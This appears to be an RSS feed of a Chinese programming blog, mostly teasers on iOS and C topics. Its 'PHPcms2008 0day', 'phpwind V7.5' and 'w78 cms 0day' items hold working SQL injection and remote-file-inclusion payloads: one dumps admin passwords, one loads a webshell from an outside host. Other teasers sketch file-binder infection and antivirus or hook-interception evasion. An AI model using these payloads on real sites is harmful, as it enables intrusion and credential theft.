<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[大爷饭]]></title><description><![CDATA[高山仰止，景行行止，虽不能至，心向往之]]></description><link>https://blog.youkuaiyun.com/levellee</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; levellee]]></copyright><item><title><![CDATA[IOS 5 自定义导航条背景图片]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6946398</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6946398</guid><author>levellee</author><pubDate>Tue, 08 Nov 2011 01:23:04 +0800</pubDate><description><![CDATA[IOS 4的时候:


@implementation UINavigationBar (CustomImage)- (void)drawRect:(CGRect)rect {    // Drawing code    UIImage *image = [[UIImage imageNamed:@"header.png"] retain];    [image drawInRect:CGR]]></description><category></category></item><item><title><![CDATA[我的书单记录]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6946395</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6946395</guid><author>levellee</author><pubDate>Tue, 08 Nov 2011 01:16:42 +0800</pubDate><description><![CDATA[2010年书单：




MEMOIRS OF GEISHA FILM

我的另一半

剑桥家训

心灵地图:追求爱和成长之路

我是一只IT小小鸟

训诂学

狼图腾

唐·吉诃德

女人:如何洞悉男人的内心世界

终极理论

山海经

弟子规

次贷危机

像他们一样生活

智圣东方朔

流血的仕途

改变心理学的40项]]></description><category></category></item><item><title><![CDATA[Objective-C Cocoa的delegate机制解释]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6409445</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6409445</guid><author>levellee</author><pubDate>Tue, 10 May 2011 16:03:00 +0800</pubDate><description><![CDATA[<br />]]></description><category></category></item><item><title><![CDATA[理解Cocoa的委托 数据源和控制器]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6408032</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6408032</guid><author>levellee</author><pubDate>Mon, 09 May 2011 23:54:00 +0800</pubDate><description><![CDATA[<br />有关于Controller（控制器）的说明我把它摘录在下面：A controller object acts as a coordinator or as an intermediary between one or more view objects and one or more model objects. In the Model-View-Controller design pattern, a controller object (or, simply, a controller) ]]></description><category></category></item><item><title><![CDATA[IOS APP 多国语言版本设计示范]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6408030</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6408030</guid><author>levellee</author><pubDate>Mon, 09 May 2011 23:52:00 +0800</pubDate><description><![CDATA[<br /><br /> <br />说明：依系统设定的语言自动切换适合的显示字串<br />操作： 在Interface Builder设计时的界面<br />若系统设定为English则显示英文介面若系统设定为中文则显示为中文介面<br />如何建立自定的语系档：1.在Resources分类下新增档案[右键/Add/New File...] 2.在范本的分类选择Other后再选择Strings File 3.将存档档名设定为Localizable.strings 4.在Localizable.strin]]></description><category></category></item><item><title><![CDATA[在你的app里加入广告]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6408027</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6408027</guid><author>levellee</author><pubDate>Mon, 09 May 2011 23:50:00 +0800</pubDate><description><![CDATA[<br /><br />苹果的app store上有许多的软件，有的重量级的大作是直接挂个价钱就上架，有的是先提供免费的试玩版，满意再买正式版，其中有些则是不收费，但会放一些广告在里面。这些软件的开发者有的是真的佛心，有的是纯练功，不过置入广告来赚取一些生活费并没什么对错的问题，毕竟大家也都是要过日子。放个广告上来只要不影响整个app的使用也没应该没什么大碍，毕竟这些开发者也还是需要一些”动力”才能继续帮大家开发更好用的软件。<br /> <br />你也许会好奇放这个广告是能赚什么钱，在不久前有个故事，就]]></description><category></category></item><item><title><![CDATA[面向对象概念]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6183014</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6183014</guid><author>levellee</author><pubDate>Sun, 13 Feb 2011 22:53:00 +0800</pubDate><description><![CDATA[<br />数据和操作<br />传统的编程语言通常划分成两个部分—数据和对数据的操作。数据是静态的，不变的，除非通过操作来改变它。对数据操作的函数并不保留上一次操作时数据的状态，它们的作用仅体现在操作数据上。<br /> <br />很明显，这种划分是基于计算机的工作方式，所以您很难忽视它。和无处不在的原料和能量以及名词和动词的划分一样，它构成了程序的本质。从某种意义上说，所有的程序员—即使是面向对象的程序员—都是工作在数据结构之上，他们的程序也会使用和定义函数来操作数据。<br /> <br />对于面]]></description><category></category></item><item><title><![CDATA[Objective-C 的可变字符串 NSMutableString]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/6178701</link><guid>https://blog.youkuaiyun.com/levellee/article/details/6178701</guid><author>levellee</author><pubDate>Fri, 11 Feb 2011 12:44:00 +0800</pubDate><description><![CDATA[<br /> <br /> NSString 是NSObject的子类<br />NSString是不可变的，意思是他声明的对象我们不可以改变，如果要改变，可以使用它的子类：NSMutableString<br /> <br />你可以使用类方法：stringWithCapacity来创建一个新的NSMutableString,声明如下：<br /><br /><br />* 
(id) stringWithCapacity: (unsigned) capacity:<br /> <br />可按如下方法]]></description><category></category></item><item><title><![CDATA[PHPcms2008 0day~]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/5180562</link><guid>https://blog.youkuaiyun.com/levellee/article/details/5180562</guid><author>levellee</author><pubDate>Tue, 12 Jan 2010 10:52:00 +0800</pubDate><description><![CDATA[/ask/search_ajax.php?q=s%D5%20or%20(select%20ascii(substring(password,1,1))%20from%20phpcms_member%20where%20username=0x706870636D73)>52%23]]></description><category></category></item><item><title><![CDATA[phpwind V7.5]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/5173809</link><guid>https://blog.youkuaiyun.com/levellee/article/details/5173809</guid><author>levellee</author><pubDate>Mon, 11 Jan 2010 13:13:00 +0800</pubDate><description><![CDATA[/apps/groups/index.php?route=group&basePath=http://www.xxx.com/webshell.txt?]]></description><category></category></item><item><title><![CDATA[w78 cms 0day]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/5172499</link><guid>https://blog.youkuaiyun.com/levellee/article/details/5172499</guid><author>levellee</author><pubDate>Mon, 11 Jan 2010 08:30:00 +0800</pubDate><description><![CDATA[关键字：inurl:ShopMore.asp% and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where %= Search bug]]></description><category></category></item><item><title><![CDATA[为PE文件添加数字签名]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/4578276</link><guid>https://blog.youkuaiyun.com/levellee/article/details/4578276</guid><author>levellee</author><pubDate>Tue, 22 Sep 2009 00:31:00 +0800</pubDate><description><![CDATA[呵呵 楚茗写过一个 给PE文件添加数字签名的小工具 很好用的用途估计大家都知道的，KIS2009 在一定成度上检查PE文件的数字签名跟小鱼聊天时他说这个实现非常简单,就是修改一个PE结构中的两个位置一个是 数字签名的 物理便宜地址 一个是 签名文件的长度具体讲就是 PE结构的 IMAGE_NT_HEADERS结构中有一个 IMAGE_OPTIONAL_HEADER32在IMAGE_OPTIONAL]]></description><category></category></item><item><title><![CDATA[  捆绑感染 思路实现 ]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/4578263</link><guid>https://blog.youkuaiyun.com/levellee/article/details/4578263</guid><author>levellee</author><pubDate>Tue, 22 Sep 2009 00:20:00 +0800</pubDate><description><![CDATA[这是 写捆绑感染时，随手写的思路记录，本来想写个详细的教程，但看目前情形是完成不了啦做出的 捆绑器  效果蛮好的 难度不大 稍微记录一下 ...了解了这个思路 自己再做也不困难捆绑部分1复制自己到一个临时文件2添加第一个要捆绑的文件到文件尾3添加第二个要捆绑的文件到文件尾5分别获取三个文件的长度名称和捆绑标记并写入文件尾部分离部分1首先读取文件尾的配置信息判断文件是]]></description><category></category></item><item><title><![CDATA[一种绕过全局钩子安装拦截的思路]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/4338960</link><guid>https://blog.youkuaiyun.com/levellee/article/details/4338960</guid><author>levellee</author><pubDate>Fri, 10 Jul 2009 22:20:00 +0800</pubDate><description><![CDATA[by mj0011本文介绍了一种思路，利用安全软件驱动和WINDOWS本身处理全局钩子安装过程的不同，以绕过安全软件对全局钩子安装的拦截。这种方法并不保证能通用于任何安全软件。安全软件，例如HIPS,AV等，通常会安装 NtUserSetWindowsHookEx / NtUserSetWinEventHook的钩子拦截全局钩子注入，防止键盘、消息拦截或者DLL注入。在这两个函数的]]></description><category></category></item><item><title><![CDATA[谈谈注册表项信息隐藏]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/4311398</link><guid>https://blog.youkuaiyun.com/levellee/article/details/4311398</guid><author>levellee</author><pubDate>Tue, 30 Jun 2009 23:18:00 +0800</pubDate><description><![CDATA[理论：注册表是Windows系统存储关于计算机配置信息的数据库，包括了系统运行时需要调用的运行方式的设置，是系统的核心。操作系统是用特殊的文件(Hive文件)来存储注册表的内容，并提供给用户相关的编程接口(APIs)来进行注册表的操作，例如Advapi32.dll中的Registry Functions(如：RegEnumKey)。在Windows操作系统中，函数的调用有着极其规范的层次结构，如下]]></description><category></category></item><item><title><![CDATA[Kill进程的简单办法]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/4311348</link><guid>https://blog.youkuaiyun.com/levellee/article/details/4311348</guid><author>levellee</author><pubDate>Tue, 30 Jun 2009 22:52:00 +0800</pubDate><description><![CDATA[    微软早在MSDOS里就提供了一个调试程序debug。相信在那个年月，很多人都用过它，即使在今天的Windows 2000，Windows XP以及Windows2003里面还能看到它。这个程序从一个侧面反映了微软操作系统的进化历史。在那个年代，会使用电脑，是一个人科技水平的标志。如果还会使用debug，那就是一个计算机高手的标志了。程序设计中的很多问题都是靠这个小小的工具来解决的。]]></description><category></category></item><item><title><![CDATA[C语言源程序的结构特点(笔记)]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/4292786</link><guid>https://blog.youkuaiyun.com/levellee/article/details/4292786</guid><author>levellee</author><pubDate>Tue, 23 Jun 2009 21:52:00 +0800</pubDate><description><![CDATA[源程序的结构特点    1.一个C语言源程序可以由一个或多个源文件组成。    2.每个源文件可由一个或多个函数组成。    3.一个源程序不论由多少个文件组成，都有一个且只能有一个main函数，即主函数。    4.源程序中可以有预处理命令（include 命令仅为其中的一种），预处理命令通常应放在源文件或源程序的最前面。    5.每一个说明，每一个语句都必须以分号结尾。但]]></description><category></category></item><item><title><![CDATA[C 数据类型]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/4292764</link><guid>https://blog.youkuaiyun.com/levellee/article/details/4292764</guid><author>levellee</author><pubDate>Tue, 23 Jun 2009 21:37:00 +0800</pubDate><description><![CDATA[intlongshortunsignedcharfloatdouble signedvoid_Bool_Complex_Imaginary      1 数据类型关键字    A基本数据类型（5个）    void ：声明函数无返回值或无参数，声明无类型指针，显式丢弃运算结果    char ：字符型类型数据，属于整型数据的一]]></description><category></category></item><item><title><![CDATA[关闭进程代码]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/3949557</link><guid>https://blog.youkuaiyun.com/levellee/article/details/3949557</guid><author>levellee</author><pubDate>Mon, 02 Mar 2009 14:19:00 +0800</pubDate><description><![CDATA[#include #include #include unsigned long getprocid(char *pn){    BOOL b;    HANDLE hnd;    PROCESSENTRY32 pe;    hnd=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);    pe.dwSize=sizeof(pe);    b]]></description><category></category></item><item><title><![CDATA[牛人的C++经验]]></title><link>https://blog.youkuaiyun.com/levellee/article/details/3949092</link><guid>https://blog.youkuaiyun.com/levellee/article/details/3949092</guid><author>levellee</author><pubDate>Mon, 02 Mar 2009 11:51:00 +0800</pubDate><description><![CDATA[六年前，我刚热恋“面向对象”（Object-Oriented）时，一口气记住了近十个定义。六年后，我从几十万行程序中滚爬出来准备写点心得体会时，却无法解释什么是“面向对象”，就象说不清楚什么是数学那样。软件工程中的时髦术语“面向对象分析”和“面向对象设计”，通常是针对“需求分析”和“系统设计”环节的。“面向对象”有几大学派，就象如来佛、上帝和真主用各自的方式定义了这个世界，并留下一堆经书来解释这个]]></description><category></category></item></channel></rss>